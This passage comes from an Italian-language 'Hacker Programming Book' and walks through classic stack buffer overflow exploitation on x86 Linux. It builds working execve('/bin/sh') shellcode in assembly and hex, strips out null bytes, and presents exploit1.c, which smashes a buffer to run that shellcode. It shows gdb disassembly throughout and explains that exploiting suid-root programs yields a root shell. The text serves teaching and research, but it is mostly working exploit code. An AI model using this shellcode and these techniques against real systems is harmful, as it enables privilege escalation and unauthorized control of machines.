all’interno di EBP, facendolo diventare il nuovo frame pointer.
L’istruzione che sottrae 20 (x14) a ESP è relativa al fatto di riservare spazio per le variabili
locali ovvero quelle relative ai due buffer.
Ricordiamoci che la memoria può essere indirizzata usando multipli della dimensione di una
WORD.
Una WORD nel nostro caso è 32 bits ovvero 4 BYTES.
Questo significa che l’allocazione richiesta per il buffer con dimensione 5 (buffer1[5])
occuperà di fatto 8 BYTES (2 WORDS) mentre il secondo buffer di 10 elementi (buffer2[10])
ne occuperà in verità 12 BYTES (3 WORDS).
Questa è la motivazione del perché del 20 come dimensione sottratta a SP.
Tenendo in mente questo ecco a cosa sembrerà il nostro STACK quando la funzione verrà
chiamata.

Parte bassa della cima della memoria
memoria
                              buffer2        buffer1       sfp    ret   a           b         c
<------[                  ]    [                       ]      [   ]   [   ][      ][    ][    ]
cima della parte bassa dello stack
stack

Un buffer overflow avviene quando in una zona di memoria viene memorizzati più dati di
quanti questa potrebbe contenere.
Come è possibile sfruttare questi errori di programmazione per fare eseguire del codice
arbitrario ?
Vediamo un altro esempio scritto in C.

void function(char *str) {
      char buffer[16];
      strcpy(buffer,str);
}

void main() {

          char large_string[256];
          int i;
          for( i = 0; i < 255; i++)


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

              large_string[i] = 'A';
        function(large_string);
}

Come potete vedere in questo esempio esiste un classico buffer overflow dovuto al fatto che
la dimensione del buffer passato alla function() è di fatto lunga 256 bytes mentre il buffer dove
questo argomento viene passato è soltanto 16 bytes.
La funzione usata per copiare str in buffer è quella di libreria del C strcpy() la quale non
controlla la dimensione della destinazione.
Se al suo posto fosse stata usata strncpy() si sarebbe potuto specificare come argomento
della funzione di copia la dimensione.
Vediamo cosa vede lo stack quando viene chiamata la funzione.


                   BUFFER               sfp       ret       *str


Come saprete la funzione strcpy() copia senza controllare fino a quando viene trovato il
carattere NULL di fine stringa.
Come abbiamo già detto il buffer di destinazione è circa 250 bytes più piccola della sorgente
e questo significa che questo numero di bytes dopo lo spazio del buffer verranno sovrascritti.
Come potete vedere dallo schema tra i valori su cui si va a scrivere c’e anche il valore di
ritorno (ret) dopo la chiamata alla funzione.
Dato che il buffer di partenza contiene delle lettere A uguali al numero esadecimale 0x41
significa che il valore di ritorno della funzione dopo il buffer overflow varrà

0x41414141

Questo indirizzo è al di fuori dello spazio del programma ed è per questo motivo che quando
il programma ritornerà e cercherà di leggere la successiva istruzione da eseguire avrete
come segnalazione un segmentation violation.
In ogni caso l’esempio ci mostra come potremmo cambiare volontariamente l’indirizzo di
ritorno di una funzione indirizzando il tutto a qualche parte di codice nostro.
Ora facciamo la prova per provare quanto detto.
Rivediamo ora come lo stack vedeva la memoria del nostro primo esempio e come di fatto è
possibile fare in modo che il programma esegua del codice arbitrariamente.


         buffer2              buffer1          sfp        ret        a          b          c


Prima di buffer1 c’è il valore sfp mentre il valore di ritorno e appunto subito prima di questo.
In altre parole quest’ultimo è 4 bytes dopo il buffer1.
Ricordiamoci che buffer1 è di fatto 8 bytes e non 5 e quindi l’indirizzo di ritorno è dopo 12
BYTES dall’inizio di buffer1.
Ora scriveremo una funzione come segue :

void function(int a, int b, int c) {
      char buffer1[5];
      char buffer2[10];
      int *ret;
      ret = buffer1 + 12;
      (*ret) += 8;
}

void main() {
      int x;
      x = 0;
      function(1,2,3);
      x = 1;
      printf("%d\n",x);


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

}

Ora compiliamo il tutto in ambiente Linux con :

gcc –S esempio.s esempio.c

Guardando dentro alla funzione main() vediamo che se il programma seguisse il flusso
normale l’ultimo printf() stamperebbe a video il valore di X ovvero 1.
Questo capiterebbe se dopo avere chiamato la funzione questa ritornasse sull’istruzione
successiva ovvero quella che assegna ad x il valore 1.
Ora se volessimo fare in modo che l’indirizzo di ritorno salti l’assegnazione x = 1 dovremo
disassemblare con il disassemblatore relativo all’ambiente dove state facendo le prove.
Usando GDB avremo :
function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop

Nel caso del disassemblato sotto Linux il valore di ritorno originale è 0x8004a8 mentre quello
che vogliamo settare e 0x8004b2.
Il settaggio di questo valore è dovuto al fatto che vogliamo saltare l’esecuzione
dell’assegnazione e quindi saltare 8 bytes dopo quello che sarebbe stato il valore normale.

ret = buffer1 + 12;
(*ret) += 8;

Le due istruzioni precedenti sono quelle che vanno a cambiare l’indirizzo di ritorno.
Quello che è stato fatto fino ad ora aveva come scopo quello di dimostrare come è possibile
modificare il flusso di un programma mediante un operazione di soprascrittura di un valore
dentro allo stack.
Un esempio che mostra come è possibile cambiare un valore di ritorno di ujna funzione
all’interno dello stack è quello che segue.

#include <stdio.h>

void    funzione2(void)
{
      printf("\nQuesta funzione non la chiama nessuno
direttamente!");
      exit(0);
}

void    funzione1(int b)
{


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

      printf("\nAddr b=%04x", (unsigned int) &b);
      (*((unsigned int *)((unsigned int)&b)+2)) = (unsigned int)
&funzione2;
}


void main()
{
      funzione1(0);
}

Come potete vedere la funzione2() non la chiama nessuno eppure questa viene eseguita in
quanto la variabile b all’interno della prima funzione viene utilizzata come riferimento per
andare a sostituire l’indirizzo di ritorno.
Ora vediamo di modificare la funzione in modo tale che il metodo di fatto sia simile a quello
che generalmente viene utilizzato.
Supponiamo che il buffer b che deve ricevere un valore sia di 10 caratteri.
Qundi sarebbe cosa normale copiare dentro al buffer una stringa del tipo

b[0123456789][addr]
  abcdefghi\0

Ora supponiamo di volerci inserire alla fine dei 10 caratteri l’indirizzo della funzione2().
Questo sconfinerebbe nello stack dentro a quello spazio in cui è memorizzato l’indirizzo di
ritorno.

b[0123456789][addr]
  abcdefghi\0 1234

dove 1234 specifica l’indirizzo della funzione2().
Nella variabile buffer mettiamo i caratteri accettati e alla fine ci mettiamo l’indirizzo di
funzione2 e successivamente copiamo dentro alla variabile b[] il buffer.

#include <stdio.h>

char buffer[24];

void   funzione2(void)
{
       printf("\nQuesta funzione non la chiama nessuno direttamente");
       exit(0);
}

void   funzione1(void)
{
       char b[10];
       sprintf(buffer, "abcdefghi%d",(unsigned int) &funzione2);
       printf(“\nIl buffer contiene : %s”, buffer);
       strcpy(b, buffer); // Ora copiamo sconfinando
}


void main()
{
      funzione1();
}

Chiaramente in questo caso l’assegnazione del valore avviene mediante operazione diretta
ma se ci fosse stata la possibilità di avere un riferimento di memoria ci si sarebbe potuto
riempire con dei NULL o altri valori fino al punto in cui poi di fatto sarebbe proseguito il
programma.


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET
RET RET ]

FATE ATTENZIONE : Il metodo di inserire dei NOP è essenziale in quanto come vedremo,
identificare l’indirizzo di dove fare eseguire il tutto è complesso.
L’uso dei NOP server a semplificare il tutto.
Le tecniche di buffer overflow in ogni caso non cambiano solo il flusso ma aggiungono anche
del codice espresso come codici operativi esadecimali.
Sempre al fine di semplificare l’esempio rimaniamo sempre in ambiente Linux dove per
attivare una shell da un programma in linguaggio c è sufficiente chiamare un istruzione
execve() passandogli come argomento la stringa /bin/sh.
In altre parole un programma in linguaggio C adatto ad aprire una shell potrebbe essere il
seguente:

#include <stdio.h>

void main() {
      char *name[2];
      name[0] = "/bin/sh";
      name[1] = NULL;
      execve(name[0], name, NULL);
}

Vi consiglio in ogni caso di andare a vedere :

http://www.hack.co.za/shellcode/linux-x86/execve_binsh.c

Un esempio in assembler molto corto è :

        mov ecx,esp
        xor eax,eax
        push eax
        lea ebx,[esp-7]
        add esp,12
        push eax
        push ebx
        mov edx,ecx
        mov al,11
        int 0x80

Vedre,mo successivamente che spesso a causa delle microscopiche dimensioni dei buffer
più piccolo è il programma di shell meglio è.
In ogni caso uno shell code visto in esadecimale potrebbe essere quello che segue:

char lunixshell[] =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x$
"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\x$
"\x80\xe8\xde\xff\xff\xff/bin/sh";

Compilando il codice precedente e guardando I codici operativi relativi alla parte da inserire in
memoria avremmo la seguente visione dello stack considerando anche il fatto di assumere
che questo parta da 0xFF e che la lettera S rappresenti appunto il codice:

 bottom of    DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF                top of
 memory       89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF                memory
              buffer                sfp   ret   a     b     c
 <------     [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
              ^                            |
              |____________________________|
 top of                                                                    bottom of
 stack                                                                         stack



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book



La compilazione del programmino deve essere eseguita mediante il flag –static in modo da
poter usare il debugger gdb per poter vedere il codice disassemblato.

$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode

Il programma utilizza la funzione di libreria execve e dato che stiamo usando delle librerie
dinamiche questa non viene piazzata direttamente all’interno del nostro programma.
La compilazione mediante la specifica –static è quello che fa per noi.
Disassemblando con gdb ritroviamo il seguente programma in assembler :

0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:    pushl %ebp
0x80002bd <__execve+1>: movl    %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl    $0xb,%eax
0x80002c5 <__execve+9>: movl    0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl    0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl    0x10(%ebp),%edx
0x80002ce <__execve+18>: int     $0x80
0x80002d0 <__execve+20>: movl    %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl     0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl    %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call    0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl    %edx
0x80002df <__execve+35>: movl    %edx,(%eax)
0x80002e1 <__execve+37>: movl    $0xffffffff,%eax
0x80002e6 <__execve+42>: popl    %ebx
0x80002e7 <__execve+43>: movl    %ebp,%esp
0x80002e9 <__execve+45>: popl    %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.


La parte costituita da

0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

è quella che abbiamo definito precedentemente con il termine di PROCEDURE PRELUDE il
quale riserva lo spazio per le variabili locali, in questo caso

char *name[2]

I puntatori sono di lunghezza pari a una WORD per cui le dimensioni delle due WORD sono 8
BYTES.

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

L’istruzione precedente invece copia l’indirizzo della stringa /bin/sh nel primo puntatore.
L’istruzione è l’equivalente di :

name[0] = "/bin/sh";

0x800013d <main+13>:        movl $0x0,0xfffffffc(%ebp)

A questo punto copiano il valore 0x0 (NULL) dentro al secondo puntatore di name[] il che
sarebbe uguale a :

name[1] = NULL;

La chiamata a execve() inizia qui.

0x8000144 <main+20>: pushl $0x0

A questo punto iniziamo ad eseguire il push degli argomenti nello stack in ordine inverso.
Partiamo con il NULL.

0x8000146 <main+22>:        leal 0xfffffff8(%ebp),%eax

Ora leggiamo l’indirizzo di name[] dentro al registro EAX.

0x8000149 <main+25>:        pushl %eax

Eseguiamo il push dellindirizzo di name[] nello stack.

0x800014a <main+26>:        movl 0xfffffff8(%ebp),%eax

Leggiamo l’indirizzo della stringa "/bin/sh" nel registro EAX.

0x800014d <main+29>:        pushl %eax

Ora inseriamo nello stack l’indirizzo della stringa "/bin/sh"..

0x800014e <main+30>:        call 0x80002bc <__execve>

Chiamiamo la funzione execve().
Ricordiamoci che la chiamata ad una funzione fa si che il sistema memorizzi nello stack il
valore di IP.
Ricordiamoci che siamo in un ambiente Linux su piattaforma Intel per cui i dettagli della
syscall varia da OS a OS, e da CPU a CPU.
Alcune passano gli argomenti nello stack mentre altri nel registro.
Lo stack inizia per ogni programma allo stesso indirizzo.
Aluni usano un interrupt software per saltare nella modalità kernel mentre altri usano una call
far.
Linux passa I suoi argomenti alla chiamata di sistema attraverso il registro ed utilizza un
interrupt software per saltare nella modalità kernel.
Il discorso l’abbiamo fatto nei capitoli in cui parlavamo della programmazione in questo
ambiente a cui vi rimando per chiarirvi le idee rispetto alle syscall.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

All’interno di

/usr/include/asm/unistd.h

esiste la lista delle syscall anche se di fatto a noi interessa solo comprendere che in questo
caso la execve chiama la syscall e successivamente l’ int 0x80.
Tra poche linee vedremo che il numero della syscall uguale a

#define __NR_execve            11

verrà passato tramite il registro %eax

0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

Il preludio dela procedura :

0x80002c0 <__execve+4>: movl $0xb,%eax

Copiamo 0xb (11 decimale) nello stack.
Questo è l’indice all’interno della tabella delle syscall o chiamate di sistema di cui appunto la
execve è la numero 11.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

Copiamo l’indirizzo di "/bin/sh" in EBX.

0x80002c8 <__execve+12>:            movl 0xc(%ebp),%ecx

Copiamo l’ndirizzo di name[] in ECX.

0x80002cb <__execve+15>:            movl 0x10(%ebp),%edx

Copiamo l’indirizzo del null pointer in %edx.

0x80002ce <__execve+18>:            int   $0x80

A questo punto ci troviamo di fronte ad un grosso problema.
Partiamo dal presupposto che noi questi buffer overflow quasi sicuramente li dovremo inserire
da qualche parte dove il programma che intendiamo colpire gestisce l’input tramite qualche
stringa del Linguaggio C.
Il carattere ‘\0’ o 0 viene considerato dal linguaggio come carattere di fine stringa per cui
all’interno della stringa che passeremo al software non dovranno esserci degli 0 se no il resto
del buffer non verrà processato.
Ma dopo questa parentesi cosa ci troviamo davanti ?
Diamo un attimo un occhiata agli OPCODE dell’istruzione movl $0xb,%eax.

0x80002c0              b8 0b 00 00 00       movl $0xb,%eax

potremmo risolvere il problema usando la seguente metodologia :

xorl %eax, %eax
movb $0x0b, %al

Cosa abbiamo fatto ?
Semplicemente abbiamo ripulito EAX e assegnato solo la parte bassa.
Ora cambiamo la modalità del kernel mediante la chiamata a int 0x80.
La funzione execve chiama int 0x80 utilizzando i registri per il passaggio degli argomenti
usando il metodo classico degli interrupts.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Tutto quello che dobbiamo fare è questo :

Avere la stringa terminata con un nulll "/bin/sh" da qualche parte in
memoria
Avere l’indirizzo della     stringa "/bin/sh" da qualche parte in memoria
seguita da una word contenente un null.
Copiare 0xb nel registro EAX .
Copiare l’indirizzo della sringa "/bin/sh" nel registro EBX.
Copiare l’indirizzo della sringa "/bin/sh" in ECX.
Copiare l’indirizzo della long word con null in EDX.
Eseguire l’istruzione int $0x80.

Ma cosa capita se la chiamata a execve() fallisce per qualche ragione?
Il programma continua andando a prendere le istruzioni dallo stack, il quale potrebbe
contenere dei dati random.
Il programma probabilmente eseguirà un core dump.
Noi però vorremmo che il programma esca in modo pulito se la chiamata a execve falisse..
Per fare questo dovremo aggiungere una syscall exit dopo a chiamata di sistema execve
Che cosa farebbe una exit in questo caso ?

exit.c

#include <stdlib.h>

void main() {
        exit(0);
}

[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl %ebp
0x800034d <_exit+1>:    movl    %esp,%ebp
0x800034f <_exit+3>:    pushl %ebx
0x8000350 <_exit+4>:    movl    $0x1,%eax
0x8000355 <_exit+9>:    movl    0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int     $0x80
0x800035a <_exit+14>:   movl    0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl    %ebp,%esp
0x800035f <_exit+19>:   popl    %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.

La chiamata di sistema exit mette 0x1 in EAX, mette il codice d’uscita EBX, ed esegue una
chiamata a "int 0x80".
Molte applicazioni ritornano 0 in uscita per dire che non ci sono stati errori.
Mettiamo 0 in EBX.
La nosra lista di operazioni da eseguire sono ora :

Avere una stringa terminata con NULL "/bin/sh" da qualche parte in
memoria.
Avere l’indirizzo della stringa "/bin/sh" da qualche parte in memoria
seguito da una long word con null.
Copiare 0xb in EAX.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Copiarel’indirizzo della stringa "/bin/sh" nel registro EBX.
Copiare l’indirizzodella stringa "/bin/sh" in ECX.
Copiare l’indirizzo dela long word con null in EDX.
Eseguirel’itrsuzione int $0x80.
Copiare 0x1 in EAX.
Copiare 0x0 in EBX.
Eseguire l’istruzione int $0x80.

Per fare questo in linguaggio assembler, piazzando la stringa dopo il codice, e ricordandosi
dove è stato messo l’indirizzo, e una null word dopo l’array, avremmo:

movl   string_addr,string_addr_addr
movb   $0x0,null_byte_addr
movl   $0x0,null_addr
movl   $0xb,%eax
movl   string_addr,%ebx
leal   string_addr,%ecx
leal   null_string,%edx
int    $0x80
movl   $0x1, %eax
movl   $0x0, %ebx
int    $0x80
/bin/sh deve essere messa qui

Il problema relativo alla scrittura di questo esempio di buffer overflow è che non possiamo
conoscere dove verrà inserita all’interno della memoria, del programma che intendiamo
explottare, la stringa relativa alla chiamata della shell .
Un metodo per superare il problema è quello di usare un JMP o una CALL le queli
possiedono come vantaggio quello di accettare anche indirizzi relativi specificati ad esempio
mediante l’instruction pointer register (IP).
Se piazzassimo la call immediatamente prima della stringa "/bin/sh" in modo tale che
l’indirizzo di questa venga salvata nello stack come valore di ritorno, e un JMP a questa
istruzione, l’indirizzo della stringa verrebbe pushata nello stack come indirizzo di ritorno
qaqndo la call viene eseguita.
Tutto quello di cui abbiamo bisogno è di copiare l’indirizzo di ritorno dentro a un registro.
L’istruzione CALL può semplicemente chiamare l’inizio del nostro codice seguente.
Assumiamo ora che J stia per l’istruzione di JMP, C per l’istruzione CALL, ed infine s per la
stringa:

base della DDDDDDDDEEEEEEEEEEEE        EEEE    FFFF   FFFF   FFFF    FFFF      cima della
memoria    89ABCDEF0123456789AB        CDEF    0123   4567   89AB    CDEF      memoria
           buffer                       fp     ret    a      b       c

<------    [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
            ^|^             ^|            |
            |||_____________||____________| (1)
       (2) ||_____________||
              |______________| (3)
cima dello                                                                       base
dello
stack                                                                            stack

Il tutto visto in assembler

           jmp        offset-to-call           #        2   bytes ------------\
           popl       %esi                     #        1   byte <----\       |
           movl       %esi,array-offset(%esi) #         3   bytes     |       |
           movb       $0x0,nullbyteoffset(%esi)#        4   bytes     |       |
           movl       $0x0,null-offset(%esi)   #        7   bytes     | (2)   |
           movl       $0xb,%eax                #        5   bytes     |       |
           movl       %esi,%ebx                #        2   bytes     |       | (1)
           leal       array-offset,(%esi),%ecx #        3   bytes     |       |



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

           leal   null-offset(%esi),%edx                 #   3   bytes     |       |
           int    $0x80                                  #   2   bytes     |       |
           movl   $0x1, %eax                             #   5   bytes     |       |
           movl   $0x0, %ebx                             #   5   bytes     |       |
           int    $0x80                                  #   2   bytes     |       |
           call   offset-to-popl                         #   5   bytes ----/ <-----/
           /bin/sh va qui.

Calcolando tutti gli offset in base alla lunghezza delle istruzioni, abbiamo:

           jmp    0x26                                   #   2   bytes
           popl   %esi                                   #   1   byte
           movl   %esi,0x8(%esi)                         #   3   bytes
           movb   $0x0,0x7(%esi)                         #   4   bytes
           movl   $0x0,0xc(%esi)                         #   7   bytes
           movl   $0xb,%eax                              #   5   bytes
           movl   %esi,%ebx                              #   2   bytes
           leal   0x8(%esi),%ecx                         #   3   bytes
           leal   0xc(%esi),%edx                         #   3   bytes
           int    $0x80                                  #   2   bytes
           movl   $0x1, %eax                             #   5   bytes
           movl   $0x0, %ebx                             #   5   bytes
           int    $0x80                                  #   2   bytes
           call   -0x2b                                  #   5   bytes
           .string \"/bin/sh\"                           #   8   bytes

Il nostro codice modifica se stesso, ma la regione TEXT (in cui si trova il codice) e' marcata
READ-ONLY da quasi tutti i sistemi operativi.
Per risolvere il problema possiamo inserire tutte le istruzioni all’interno di un array che viene
posizionato nel segmento DATA.
Come nell’esempio in cui avevo mostrato l’esecuzione del codice inserito dentro ad un array
d’interi, all’inizio di questo capitolo, anche in questo caso avremo la necessità di trovare gli
OPCODE per eseguire l’assegnazione dell’array.
Prima scriviamoli in assembler dentro ad un programma in C e poi usiamo GDB per vederli :

shellcodeasm.c
---------- snip ----------
void main() {
__asm__("
        jmp    0x2a                                      #   3   bytes
        popl   %esi                                      #   1   byte
        movl   %esi,0x8(%esi)                            #   3   bytes
        movb   $0x0,0x7(%esi)                            #   4   bytes
        movl   $0x0,0xc(%esi)                            #   7   bytes
        movl   $0xb,%eax                                 #   5   bytes
        movl   %esi,%ebx                                 #   2   bytes
        leal   0x8(%esi),%ecx                            #   3   bytes
        leal   0xc(%esi),%edx                            #   3   bytes
        int    $0x80                                     #   2   bytes
        movl   $0x1, %eax                                #   5   bytes
        movl   $0x0, %ebx                                #   5   bytes
        int    $0x80                                     #   2   bytes
        call   -0x2f                                     #   5   bytes
        .string \"/bin/sh\"                              #   8   bytes
");
}
---------- snip ----------

Ed ecco il debugging:

$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.

(gdb) x/bx main+3       - mostra il valore esadecimale del byte che
forniamo come argomento
0x8000133 <main+3>:      0xeb
(gdb)
0x8000134 <main+4>:      0x2a
(gdb)

La procedura deve essere ripetuta per tutto il codice.

testsc.c
char shellcode[] =
         "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
         "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
         "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
         "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
          int *return;
          return = (int *)&return + 2;
/* in effetti aggiunge 8 byte = 2 integers */
/* ricordatevi sempre la struttura dello stack, e che un int e' composto di 4 byte.
Questa istruzione in effetti fa puntare return all'indirizzo di RET in memoria (che si
trova 8 byte dall'inizio della variabile puntatore *return...lo so che e' un
asino...beccatevi sto diagrammino (ogni spazio equivale a 1 byte):

            return fp     RET
            [    ][    ][     ]
            ^           ^
            |--8 byte---|
                                                */
          (*return) = (int)shellcode;

/* fa puntare RET al nostro shellcode, eseguendolo a tutti gli effetti */




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

}
---------- snip ----------

$ gcc -o testsc testsc.c
$ ./testsc
$ exit
$

A questo punto sostituiamo le istruzioni che corrispondono a 0, per il problema di cui abbiamo
discusso prima, con altre che non costituiscano un problema:

              Istruzione da cambiare:              Sostituire con:
              --------------------------------------------------------
              movb   $0x0,0x7(%esi)                xorl   %eax,%eax
              molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                   movl   %eax,0xc(%esi)
              --------------------------------------------------------
              movl   $0xb,%eax                     movb   $0xb,%al
              --------------------------------------------------------
              movl   $0x1, %eax                    xorl   %ebx,%ebx
              movl   $0x0, %ebx                    movl   %ebx,%eax
                                                   inc    %eax

A questo punto il codice è diventato:

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Il sistema di buffer overflow permette di creare una shell con diritti di root in quanto applicati a
dei programmi che vengono eseguiti con diritti di root.

-rwsr-xr-x        1 root          root              30520 May       5   1998 vulnerable

Il flag S all’interno dei flags delle permissions indica che il file può essere eseguito da
chiuqnue ma con diritti dei proprietari dei files, in questo caso root.
Questo e' a volte necessario ad alcuni programmi per aggiornare file di sistema scrivibili solo
da root o per accedere, ad esempio, alla mailbox dell'utente.
Per questo quando exploitiamo un file suid root, la shell che esso esegue e' di root.
A questo punto creiamo appositamente un programma vulnerabile ad un overflow e vediamo
di riuscire a creare un exploit.
Chiaramente un programma creato apposta per essere explotato facilita la vita cosa che con
un altro software in cui non sappiamo dove va a finire il codice la questione è sicuramente più
complessa.

exploit1.c
---------- snip ----------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];                                      /* il buffer */
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  /* riempiamo completamente il nostro buffer (large_string) con l'indirizzo



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

      di buffer */

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  /* posizioniamo lo shellcode all'inizio del nostro buffer */

  strcpy(buffer,large_string);

  /* il RET viene sovrascritto con l'indirizzo di buffer, che contiene il
     nostro shellcode , che viene eseguito */
}
---------- snip ----------

$ gcc -o exploit1 exploit1.c
$ ./exploit1
$ exit
$

Le cose nella realtà sono più complesse in quanto con un altro programma non sappiamo
dove il buffer si trova in memoria.
Il fatto d’indovinare dove si trova il buffer può essere facilitato da alcuni metodi comunque in
ogni caso va sempre a fortuna a meno che non facciamo come abbiamo visto nei capitoli in
cui parlavamo dei programmi usati dai crackers e disassembliamo i programmi a casa nostra.
Come abbiamo detto prima sappiamo che tutti i programmi possiedono lo stack che inizia
sempre allo stesso indirizzo.
Ora scriviamo un piccolo programmino vulnerabile, rendiamolo suid root, e tentiamo di
exploitarlo:

